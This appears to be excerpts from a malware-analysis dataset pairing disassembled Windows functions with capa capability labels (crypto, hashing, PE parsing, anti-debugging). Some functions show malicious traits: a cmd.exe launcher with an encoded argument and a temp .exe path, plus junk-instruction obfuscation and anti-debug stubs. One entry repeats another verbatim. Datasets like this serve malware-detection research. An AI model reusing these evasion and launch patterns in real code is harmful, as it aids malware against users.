joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140083c70
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x140083cb2
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x140083cf9
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x140083d52
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x140083d10
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x140083d93
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x14009629a]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x14009629b]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x140083d60
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x140084c64
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140084cae
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140084cae
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140084cae
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140084cae
cmp dword [rcx + 0x84], 0xe
jbe 0x140084cae
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140084cb0
xor al, al
add rsp, 0x28
ret
Function at 0x1800011f0
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x620]
sub rsp, 0x720
xor eax, eax
lea rdi, [rbp - 0x70]
mov ecx, 0x68
rep stosb byte [rdi], al
lea rdi, [rsp + 0x70]
mov ecx, 0x18
rep stosb byte [rdi], al
lea rcx, [rbp - 0x70]
mov dword [rbp - 0x70], 0x68
call fcn.180001110
xor eax, eax
lea rdi, [rbp]
mov ecx, 0x20a
lea rdx, str._systemroot__system32_
rep stosb byte [rdi], al
lea rdi, [rsp + 0x60]
mov ecx, 0x10
rep stosb byte [rdi], al
lea rcx, [rsp + 0x60]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rax, [rbp]
lea r9, [rbp + 0x630]
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x60]
xor ebx, ebx
xor ecx, ecx
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x50], 0x2080000
mov dword [rbp + 0x630], ebx
call qword [sym.imp.ntdll.dll_RtlExpandEnvironmentStrings_U]
mov edx, 0x80000000
lea ecx, [rax + rdx]
test edx, ecx
jne 0x1800012b8
cmp eax, 0xc0000023
je 0x1800012b8
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlSetLastWin32Error]
jmp 0x1800013ae
mov eax, dword [rbp + 0x630]
shr eax, 1
dec eax
cmp eax, 0x102
ja 0x1800013ae
xor eax, eax
lea rdi, [rbp + 0x210]
mov ecx, 0x410
rep stosb byte [rdi], al
movzx ecx, word [rbp]
lea rdx, [rbp + 0x210]
test cx, cx
je 0x180001314
lea rdi, [rbp]
lea rax, [rbp + 0x210]
sub rdi, rax
nop dword [rax + rax]
movzx eax, word [rdi + rdx + 2]
mov word [rdx], cx
add rdx, 2
movzx ecx, ax
test ax, ax
jne 0x180001300
mov word [rdx], bx
lea rax, [rbp + 0x210]
cmp word [rbp + 0x210], bx
je 0x180001330
add rax, 2
cmp word [rax], bx
jne 0x180001327
lea rdi, str.cmd.exe
mov edx, 0x63
sub rdi, rax
nop
movzx ecx, word [rdi + rax + 2]
lea rax, [rax + 2]
movzx edx, cx
test cx, cx
jne 0x180001340
lea rax, [rsp + 0x70]
lea rdx, str.boom1_cccjru2LnialQg3zvJLFHjEn_2BJsTl1BFFr4kjJGhQpvFEyjg5X4rwC3zl_2F8JCaIXkOTQaN9Tyt8Kz40OBME2yKwCmx_2BCq2Dt4wPcjdMF7ah97C7R5EXVlWoNnsY_2FgpCshjqYSqyoFCAi484KelRi5t6qJ7vT264kH_2BzIIziuE7ZxBCjAVXtsJMHB57ykfMnARIT_2BaH_2Fczwa_2Bsqq7W_2BDm3xaxzURxg6t2SrPOC_2Fp82oUquAUBZQK0_2FehJAFOg2EY_2BXD4lljsi
lea rcx, str.C:UsersCINEAppDataLocalTemp177D.exe
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x70]
xor r9d, r9d
mov qword [rsp + 0x40], rax
lea rax, [rbp]
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
call qword [0x180004210]
test eax, eax
je 0x1800013ae
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ntdll.dll_NtClose]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ntdll.dll_NtClose]
xor edx, edx
or rcx, 0xffffffffffffffff
call qword [sym.imp.ntdll.dll_NtTerminateProcess]
lea r11, [rsp + 0x720]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x140001930
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x28]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 8], rax
mov rax, qword [rsp + 8]
mov qword [rsp], rax
jmp 0x140001972
mov rax, qword [rsp]
add rax, 0x28
mov qword [rsp], rax
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 6]
imul rax, rax, 0x28
mov rcx, qword [rsp + 8]
add rcx, rax
mov rax, rcx
cmp qword [rsp], rax
jae 0x1400019e0
mov rax, qword [rsp]
mov eax, dword [rax + 0xc]
cmp qword [rsp + 0x20], rax
jb 0x1400019de
mov rax, qword [rsp]
mov eax, dword [rax + 0xc]
mov rcx, qword [rsp]
add eax, dword [rcx + 8]
mov eax, eax
cmp qword [rsp + 0x20], rax
jae 0x1400019de
mov rax, qword [rsp]
mov eax, dword [rax + 0x14]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x20]
sub rdx, rcx
mov rcx, rdx
add rax, rcx
jmp 0x1400019e2
jmp 0x140001966
xor eax, eax
add rsp, 0x18
ret

Function at 0x14002c150
Capabilities:
Hash data with crc32

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov dword [rsp + 4], 0xffffffff
mov dword [rsp], 0
jmp 0x14002c176
mov eax, dword [rsp]
inc eax
mov dword [rsp], eax
mov eax, dword [rsp + 0x28]
cmp dword [rsp], eax
jae 0x14002c1b2
mov eax, dword [rsp + 4]
shr eax, 8
mov ecx, dword [rsp]
mov rdx, qword [rsp + 0x20]
movzx ecx, byte [rdx + rcx]
mov edx, dword [rsp + 4]
xor edx, ecx
mov ecx, edx
and ecx, 0xff
mov ecx, ecx
lea rdx, [0x1400a9e80]
xor eax, dword [rdx + rcx*4]
mov dword [rsp + 4], eax
jmp 0x14002c16e
mov eax, dword [rsp + 4]
not eax
add rsp, 0x18
ret
Function at 0x140057850
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 0x18
mov dword [rsp], 0
jmp 0x140057865
mov eax, dword [rsp]
inc eax
mov dword [rsp], eax
cmp dword [rsp], 0x100
jge 0x1400578ea
mov dword [rsp + 4], 0
movsxd rax, dword [rsp]
lea rcx, [0x140217bf0]
mov edx, dword [rsp]
mov dword [rcx + rax*4], edx
jmp 0x140057893
mov eax, dword [rsp + 4]
inc eax
mov dword [rsp + 4], eax
cmp dword [rsp + 4], 8
jge 0x1400578e5
movsxd rax, dword [rsp]
lea rcx, [0x140217bf0]
mov eax, dword [rcx + rax*4]
and eax, 1
test eax, eax
je 0x1400578b9
mov dword [rsp + 8], 0xedb88320
jmp 0x1400578c1
mov dword [rsp + 8], 0
movsxd rax, dword [rsp]
lea rcx, [0x140217bf0]
mov eax, dword [rcx + rax*4]
shr eax, 1
xor eax, dword [rsp + 8]
movsxd rcx, dword [rsp]
lea rdx, [0x140217bf0]
mov dword [rdx + rcx*4], eax
jmp 0x140057889
jmp 0x14005785d
add rsp, 0x18
ret
Function at 0x1400578f0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x248
mov rax, qword [0x140210cc8]
xor rax, rsp
mov qword [rsp + 0x230], rax
mov byte [rsp + 4], 0
mov rax, qword [rsp + 0x250]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x10], 0xffffffffffffffff
inc qword [rsp + 0x10]
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x10]
cmp byte [rax + rcx], 0
jne 0x140057933
mov rax, qword [rsp + 0x10]
mov dword [rsp + 0x18], eax
mov dword [rsp], 0
jmp 0x140057962
mov eax, dword [rsp]
inc eax
mov dword [rsp], eax
cmp dword [rsp], 0x100
jge 0x14005799c
mov eax, dword [rsp]
cdq
idiv dword [rsp + 0x18]
mov eax, edx
cdqe
movsxd rcx, dword [rsp]
mov rdx, qword [rsp + 0x250]
movzx eax, byte [rdx + rax]
mov byte [rsp + rcx + 0x130], al
movsxd rax, dword [rsp]
movzx ecx, byte [rsp]
mov byte [rsp + rax + 0x30], cl
jmp 0x14005795a
mov dword [rsp + 8], 0
mov dword [rsp], 0
jmp 0x1400579b5
mov eax, dword [rsp]
inc eax
mov dword [rsp], eax
cmp dword [rsp], 0x100
jge 0x140057a20
movsxd rax, dword [rsp]
movzx eax, byte [rsp + rax + 0x30]
mov ecx, dword [rsp + 8]
add ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp]
movzx ecx, byte [rsp + rcx + 0x130]
add eax, ecx
cdq
and edx, 0xff
add eax, edx
and eax, 0xff
sub eax, edx
mov dword [rsp + 8], eax
movsxd rax, dword [rsp]
movzx eax, byte [rsp + rax + 0x30]
mov byte [rsp + 4], al
movsxd rax, dword [rsp + 8]
movsxd rcx, dword [rsp]
movzx eax, byte [rsp + rax + 0x30]
mov byte [rsp + rcx + 0x30], al
movsxd rax, dword [rsp + 8]
movzx ecx, byte [rsp + 4]
mov byte [rsp + rax + 0x30], cl
jmp 0x1400579ad
mov dword [rsp + 0xc], 0
mov dword [rsp + 8], 0
mov dword [rsp], 0
jmp 0x140057a41
mov eax, dword [rsp]
inc eax
mov dword [rsp], eax
mov eax, dword [rsp + 0x260]
cmp dword [rsp], eax
jge 0x140057b19
mov eax, dword [rsp + 0xc]
inc eax
cdq
and edx, 0xff
add eax, edx
and eax, 0xff
sub eax, edx
mov dword [rsp + 0xc], eax
movsxd rax, dword [rsp + 0xc]
movzx eax, byte [rsp + rax + 0x30]
mov ecx, dword [rsp + 8]
add ecx, eax
mov eax, ecx
cdq
and edx, 0xff
add eax, edx
and eax, 0xff
sub eax, edx
mov dword [rsp + 8], eax
movsxd rax, dword [rsp + 0xc]
movzx eax, byte [rsp + rax + 0x30]
mov byte [rsp + 4], al
movsxd rax, dword [rsp + 8]
movsxd rcx, dword [rsp + 0xc]
movzx eax, byte [rsp + rax + 0x30]
mov byte [rsp + rcx + 0x30], al
movsxd rax, dword [rsp + 8]
movzx ecx, byte [rsp + 4]
mov byte [rsp + rax + 0x30], cl
movsxd rax, dword [rsp + 0xc]
movzx eax, byte [rsp + rax + 0x30]
movsxd rcx, dword [rsp + 8]
movzx ecx, byte [rsp + rcx + 0x30]
add eax, ecx
cdq
and edx, 0xff
add eax, edx
and eax, 0xff
sub eax, edx
cdqe
movzx eax, byte [rsp + rax + 0x30]
mov dword [rsp + 0x1c], eax
movsxd rax, dword [rsp]
mov rcx, qword [rsp + 0x258]
movzx eax, byte [rcx + rax]
xor eax, dword [rsp + 0x1c]
movsxd rcx, dword [rsp]
mov rdx, qword [rsp + 0x258]
mov byte [rdx + rcx], al
jmp 0x140057a39
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.14009ba30
add rsp, 0x248
ret
Function at 0x14006bd30
Capabilities:
Encrypt data using tea

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov dword [rsp + 0x10], 0x20
imul eax, dword [rsp + 0x10], 0x9e3779b9
mov dword [rsp + 0xc], eax
mov eax, 4
imul rax, rax, 0
mov rcx, qword [rsp + 0x30]
mov eax, dword [rcx + rax]
mov dword [rsp + 4], eax
mov eax, dword [rsp + 0xc]
shr eax, 2
and eax, 3
mov dword [rsp + 0x18], eax
mov dword [rsp], 1
jmp 0x14006bd86
mov eax, dword [rsp]
dec eax
mov dword [rsp], eax
cmp dword [rsp], 0
jbe 0x14006be2a
mov eax, dword [rsp]
dec eax
mov eax, eax
mov rcx, qword [rsp + 0x30]
mov eax, dword [rcx + rax*4]
mov dword [rsp + 8], eax
mov eax, dword [rsp]
mov ecx, dword [rsp + 8]
shr ecx, 5
mov edx, dword [rsp + 4]
shl edx, 2
xor ecx, edx
mov edx, dword [rsp + 4]
shr edx, 3
mov r8d, dword [rsp + 8]
shl r8d, 4
xor edx, r8d
add ecx, edx
mov edx, dword [rsp + 4]
mov r8d, dword [rsp + 0xc]
xor r8d, edx
mov edx, r8d
mov r8d, dword [rsp]
and r8d, 3
xor r8d, dword [rsp + 0x18]
mov r8d, r8d
mov r9, qword [rsp + 0x38]
mov r10d, dword [rsp + 8]
mov r8d, dword [r9 + r8*4]
xor r8d, r10d
add edx, r8d
xor ecx, edx
mov rdx, qword [rsp + 0x30]
mov eax, dword [rdx + rax*4]
sub eax, ecx
mov dword [rsp + 0x14], eax
mov eax, dword [rsp]
mov rcx, qword [rsp + 0x30]
mov edx, dword [rsp + 0x14]
mov dword [rcx + rax*4], edx
mov eax, dword [rsp + 0x14]
mov dword [rsp + 4], eax
jmp 0x14006bd7e
mov eax, 4
imul rax, rax, 1
mov rcx, qword [rsp + 0x30]
mov eax, dword [rcx + rax]
mov dword [rsp + 8], eax
mov eax, 4
imul rax, rax, 0
mov ecx, dword [rsp + 8]
shr ecx, 5
mov edx, dword [rsp + 4]
shl edx, 2
xor ecx, edx
mov edx, dword [rsp + 4]
shr edx, 3
mov r8d, dword [rsp + 8]
shl r8d, 4
xor edx, r8d
add ecx, edx
mov edx, dword [rsp + 4]
mov r8d, dword [rsp + 0xc]
xor r8d, edx
mov edx, r8d
mov r8d, dword [rsp]
and r8d, 3
xor r8d, dword [rsp + 0x18]
mov r8d, r8d
mov r9, qword [rsp + 0x38]
mov r10d, dword [rsp + 8]
mov r8d, dword [r9 + r8*4]
xor r8d, r10d
add edx, r8d
xor ecx, edx
mov rdx, qword [rsp + 0x30]
mov eax, dword [rdx + rax]
sub eax, ecx
mov dword [rsp + 0x1c], eax
mov eax, 4
imul rax, rax, 0
mov rcx, qword [rsp + 0x30]
mov edx, dword [rsp + 0x1c]
mov dword [rcx + rax], edx
mov eax, dword [rsp + 0x1c]
mov dword [rsp + 4], eax
mov eax, dword [rsp + 0xc]
sub eax, 0x9e3779b9
mov dword [rsp + 0xc], eax
mov eax, dword [rsp + 0x10]
dec eax
mov dword [rsp + 0x10], eax
cmp dword [rsp + 0x10], 0
jne 0x14006bd67
add rsp, 0x28
ret
Function at 0x14006f820
Capabilities:
Hash data with md5

Disassembly:
mov qword [rsp + 8], rcx
mov rax, qword [rsp + 8]
mov byte [rax], 0
mov eax, 4
imul rax, rax, 0
mov rcx, qword [rsp + 8]
mov dword [rcx + rax + 0x44], 0
mov eax, 4
imul rax, rax, 1
mov rcx, qword [rsp + 8]
mov dword [rcx + rax + 0x44], 0
mov eax, 4
imul rax, rax, 0
mov rcx, qword [rsp + 8]
mov dword [rcx + rax + 0x4c], 0x67452301
mov eax, 4
imul rax, rax, 1
mov rcx, qword [rsp + 8]
mov dword [rcx + rax + 0x4c], 0xefcdab89
mov eax, 4
imul rax, rax, 2
mov rcx, qword [rsp + 8]
mov dword [rcx + rax + 0x4c], 0x98badcfe
mov eax, 4
imul rax, rax, 3
mov rcx, qword [rsp + 8]
mov dword [rcx + rax + 0x4c], 0x10325476
ret
Function at 0x14007a8b0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov dword [rsp], 0
jmp 0x14007a8ca
mov eax, dword [rsp]
inc eax
mov dword [rsp], eax
cmp dword [rsp], 0x100
jge 0x14007a95b
mov dword [rsp + 4], 0
movsxd rax, dword [rsp]
mov rcx, qword [rsp + 0x20]
mov edx, dword [rsp]
mov dword [rcx + rax*4 + 0x90], edx
jmp 0x14007a8fe
mov eax, dword [rsp + 4]
inc eax
mov dword [rsp + 4], eax
cmp dword [rsp + 4], 8
jge 0x14007a956
movsxd rax, dword [rsp]
mov rcx, qword [rsp + 0x20]
mov eax, dword [rcx + rax*4 + 0x90]
and eax, 1
test eax, eax
je 0x14007a926
mov dword [rsp + 8], 0xedb88320
jmp 0x14007a92e
mov dword [rsp + 8], 0
movsxd rax, dword [rsp]
mov rcx, qword [rsp + 0x20]
mov eax, dword [rcx + rax*4 + 0x90]
shr eax, 1
xor eax, dword [rsp + 8]
movsxd rcx, dword [rsp]
mov rdx, qword [rsp + 0x20]
mov dword [rdx + rcx*4 + 0x90], eax
jmp 0x14007a8f4
jmp 0x14007a8c2
add rsp, 0x18
ret
Function at 0x14007f554
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov esi, r8d
mov ebx, edx
mov r14d, ecx
test r8d, r8d
jne 0x14007f5c4
xor ecx, ecx
call fcn.1403e052c
in al, dx
test rax, rax
je 0x14007f5c4
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14007f5c4
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14007f5c4
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14007f5c4
cmp dword [rcx + 0x84], 0xe
jbe 0x14007f5c4
cmp dword [rcx + 0xf8], esi
je 0x14007f5c4
mov ecx, r14d
call fcn.14007f70c
mov ecx, 2
call fcn.14008867c
nop
cmp byte [0x14021a798], 0
jne 0x14007f68e
mov r15d, 1
mov eax, r15d
xchg dword [0x14021a788], eax
test ebx, ebx
jne 0x14007f637
mov rdi, qword [0x140210cc8]
mov edx, edi
and edx, 0x3f
lea ecx, [rbx + 0x40]
sub ecx, edx
xor eax, eax
ror rax, cl
xor rax, rdi
mov rcx, qword [0x14021a790]
cmp rcx, rax
je 0x14007f62e
xor rdi, rcx
mov ecx, edx
ror rdi, cl
mov rcx, rdi
call qword [fcn.14002fcd8]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
lea rcx, [0x14021a8e8]
jmp 0x14007f643
cmp ebx, r15d
jne 0x14007f649
lea rcx, [0x14021a900]
call fcn.140084f08
nop
test ebx, ebx
jne 0x14007f660
lea rdx, [0x1400a87f0]
lea rcx, [0x1400a87d0]
call fcn.14008522c
lea rdx, [0x1400a8800]
lea rcx, [0x1400a87f8]
call fcn.14008522c
movzx eax, byte [0x14021a798]
test esi, esi
cmove eax, r15d
mov byte [0x14021a798], al
jmp 0x14007f68e
mov ecx, 2
call fcn.1400886d0
test esi, esi
jne 0x14007f6a5
mov ecx, r14d
call fcn.14007f6c0
int3
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
xor r8d, r8d
xor edx, edx
jmp 0x14007f554
Function at 0x14007f7f0
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov esi, r8d
mov ebx, edx
mov r14d, ecx
test r8d, r8d
jne 0x14007f5c4
xor ecx, ecx
call fcn.1403e052c
in al, dx
test rax, rax
je 0x14007f5c4
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14007f5c4
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14007f5c4
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14007f5c4
cmp dword [rcx + 0x84], 0xe
jbe 0x14007f5c4
cmp dword [rcx + 0xf8], esi
je 0x14007f5c4
mov ecx, r14d
call fcn.14007f70c
mov ecx, 2
call fcn.14008867c
nop
cmp byte [0x14021a798], 0
jne 0x14007f68e
mov r15d, 1
mov eax, r15d
xchg dword [0x14021a788], eax
test ebx, ebx
jne 0x14007f637
mov rdi, qword [0x140210cc8]
mov edx, edi
and edx, 0x3f
lea ecx, [rbx + 0x40]
sub ecx, edx
xor eax, eax
ror rax, cl
xor rax, rdi
mov rcx, qword [0x14021a790]
cmp rcx, rax
je 0x14007f62e
xor rdi, rcx
mov ecx, edx
ror rdi, cl
mov rcx, rdi
call qword [fcn.14002fcd8]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
lea rcx, [0x14021a8e8]
jmp 0x14007f643
cmp ebx, r15d
jne 0x14007f649
lea rcx, [0x14021a900]
call fcn.140084f08
nop
test ebx, ebx
jne 0x14007f660
lea rdx, [0x1400a87f0]
lea rcx, [0x1400a87d0]
call fcn.14008522c
lea rdx, [0x1400a8800]
lea rcx, [0x1400a87f8]
call fcn.14008522c
movzx eax, byte [0x14021a798]
test esi, esi
cmove eax, r15d
mov byte [0x14021a798], al
jmp 0x14007f68e
mov ecx, 2
call fcn.1400886d0
test esi, esi
jne 0x14007f6a5
mov ecx, r14d
call fcn.14007f6c0
int3
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
xor r8d, r8d
xor edx, edx
jmp 0x14007f554
Function at 0x1402924a5
Capabilities:
Hash data with crc32

Disassembly:
jmp 0x140271d13
mov dword [rsp + 8], 0xedb88320
jmp 0x1402b832c
inc eax
jmp 0x140274819
mov dword [rdx + rcx*4], eax
jmp 0x140599315
jmp 0x14044c937
inc eax
cmc
stc
cmc
cmc
mov dword [rsp + 4], eax
test al, 0x6c
clc
cmp dword [rsp + 4], 8
jmp 0x14057ebbf
jmp 0x1402b844e
test bp, 0xf5db
clc
and eax, 1
clc
cmc
jb 0x1404e2df5
test eax, eax
jmp 0x14028929d
jbe 0x14035c12f
je 0x1402b8316
jmp 0x140268bdf
cmp bh, 0x45
cmc
mov qword [rsp + 8], rcx
clc
sub rsp, 0x18
jmp 0x1403198c1
rcl ecx, cl
bts ax, 8
bts ax, cx
sal dx, cl
mov dword [rsp + 8], 0
inc ax
btc dx, sp
adc ah, ch
xchg ecx, eax
movsxd rax, dword [rsp]
adc cx, 0x508f
xadd ch, dl
adc cl, dh
mov rcx, qword [rsp + 0x20]
rcl dx, cl
mov eax, dword [rcx + rax*4]
mov dl, dh
mov dx, 0x3669
shr eax, 1
shld ecx, ebp, 0x16
sub ch, 0x90
xor eax, dword [rsp + 8]
bswap cx
jae 0x1404c3491
movsxd rcx, dword [rsp]
not dl
setp dl
mov rdx, qword [rsp + 0x20]
jmp 0x14045e1da
stc
bt edi, 8
mov dword [rsp], eax
bt si, 0xa
cmp dword [rsp], 0x100
jmp 0x140593817
jge 0x1405325c8
mov ax, 0x403e
setge al
bswap dx
movsx edx, cl
mov dword [rsp + 4], 0
movzx dx, dl
movsx ax, dl
not ecx
movsxd rax, dword [rsp]
jmp 0x14054c921
mov dword [rsp], 0
jmp 0x1402b8456
jmp 0x14054464a
jmp 0x14022baa5
jmp 0x14058c3bb
mov dword [rsp + 8], 0xedb88320
jmp 0x1402b832c
mov dword [rdx + rcx*4], eax
jmp 0x140599315
mov rcx, qword [rsp + 0x20]
movzx edx, al
mov edx, dword [rsp]
jmp 0x14052d71c
je 0x1402b8316
jmp 0x1403a893b
jge 0x14057b176
rcr al, 4
btr eax, 0x11
bswap cx
rcr cl, cl
movsxd rax, dword [rsp]
bsr cx, dx
bswap cx
bsf cx, di
mov rcx, qword [rsp + 0x20]
stc
stc
cmc
jmp 0x1404c9905
lea rcx, [rbp - 0x2f1139e6]
not ch
movsxd rcx, dword [rsp]
movzx dx, bl
setns dl
jmp 0x1405834e5
mov eax, dword [rcx + rax*4]
jmp 0x1405532fe
movzx ax, al
movsx ax, al
mov al, 0x4d
mov eax, dword [rsp]
jmp 0x1402366a1
test dl, al
test eax, eax
jmp 0x14058a6cb
jmp 0x140266ad7
jmp 0x1405534e2
test bx, di
stc
cmp ah, ch
add rsp, 0x18
ret
je 0x1402b8316
jmp 0x140369bfd
jmp 0x14047b255
jmp 0x1402844bb
mov dword [rcx + rax*4], edx
jmp 0x140271d1d
jmp 0x1404cfb0d
jmp 0x1404ba42b
lea rdx, [rbx + 0x1b90aa94]
mov rdx, qword [rsp + 0x20]
jo 0x1404ef350
mov dword [rdx + rcx*4], eax
jmp 0x140599315
jmp 0x14047fff5
mov dword [rsp + 8], 0xedb88320
jmp 0x1402b832c
jmp 0x1402e2293
setnp ah
setae al
mov eax, dword [rsp + 4]
jmp 0x14022b281
Function at 0x14117b12c
Capabilities:
Execute anti-debugging instructions

Disassembly:
pop r13w
xchg byte [rsp + 2], r13b
bsf r13, rsi
jmp 0x14117b1c0
xchg r11, r14
rol r15, 0x14
inc al
mov dl, byte [rsp]
mov ecx, dword [rsp]
push rcx
jmp 0x14117b14f
sbb r13b, r13b
lea rsp, [rsp + 6]
push r12
mov ax, r12w
mov rdi, qword [rsp]
mov r11b, 0xa9
jmp 0x14117b166

Function at 0x14117b334
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov r13d, dword [rsp + 0xe]
bswap r13
pop word [rsp + 9]
jmp 0x14117b31e

Function at 0x14117be2d
Capabilities:
Execute anti-debugging instructions

Disassembly:
pop ax
xchg qword [rsp + 0x13], rdi
setnp r14b
jmp 0x14117be3f
mov ecx, dword [rsp + 0x2a]
pop rax
stc
std
pop rdx
mov r15d, dword [rsp + 0x17]
jmp 0x14117be8a
lea r9, [rdx + rdx]
add rsp, 0x10
mov rdx, qword [rsp + 0x1d]
jmp 0x14117bef0
bswap ecx
sub rsp, 0x14
mov rax, rcx
lea rsp, [rsp + 0xc]
mov r11d, 0x5b00f941
lea r14, [rax + r9]
jmp 0x14117be74
mov qword [rsp + 0x11], r14
xchg byte [rsp + 4], dil
xchg di, r12w
setl r9b
pop qword [rsp + 3]
lea r12, [rax + r10]
jmp 0x14117bec8

Function at 0x14117c519
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov word [rsp + 3], sp
lea r9, [rbx + riz + 0x47]
mov byte [rsp + 7], r12b
jmp 0x14117c54c
jmp 0x14117c503